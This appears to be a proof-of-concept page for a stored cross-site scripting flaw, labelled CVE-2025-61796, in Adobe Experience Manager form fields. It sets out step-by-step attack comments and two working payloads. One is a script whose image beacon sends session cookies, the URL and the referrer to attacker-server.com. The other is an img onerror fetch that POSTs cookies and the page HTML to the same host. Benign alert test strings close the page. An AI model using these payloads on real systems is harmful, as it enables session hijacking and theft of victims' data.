CVE-2025-61796

<!-- CVE-2025-61796 - Adobe Experience Manager Stored XSS PoC --> <!-- This PoC demonstrates the stored XSS vulnerability in AEM form fields --> <!-- Step 1: Attacker logs into AEM with low-privilege credentials --> <!-- Step 2: Attacker navigates to a vulnerable form field (e.g., user profile, content authoring form) --> <!-- Step 3: Attacker injects the following malicious payload into the vulnerable input field --> <script> // Malicious JavaScript payload - exfiltrate session cookies var img = new Image(); img.src = "https://attacker-server.com/collect?cookie=" + encodeURIComponent(document.cookie) + "&url=" + encodeURIComponent(document.location.href) + "&referrer=" + encodeURIComponent(document.referrer); </script> <!-- Alternative payload using event handlers (if <script> tags are stripped) --> <img src=x onerror="fetch('https://attacker-server.com/steal',{method:'POST',body:JSON.stringify({cookies:document.cookie,dom:document.body.innerHTML})})"> <!-- Step 4: Payload is stored in the AEM backend database --> <!-- Step 5: When victim visits the page containing the injected field, the script executes automatically --> <!-- Step 6: Victim's session data is exfiltrated to attacker's server --> <!-- Detection/Testing payload (benign) --> <!-- <script>alert('XSS-CVE-2025-61796')</script> --> <!-- <img src=x onerror=alert(document.domain)> -->

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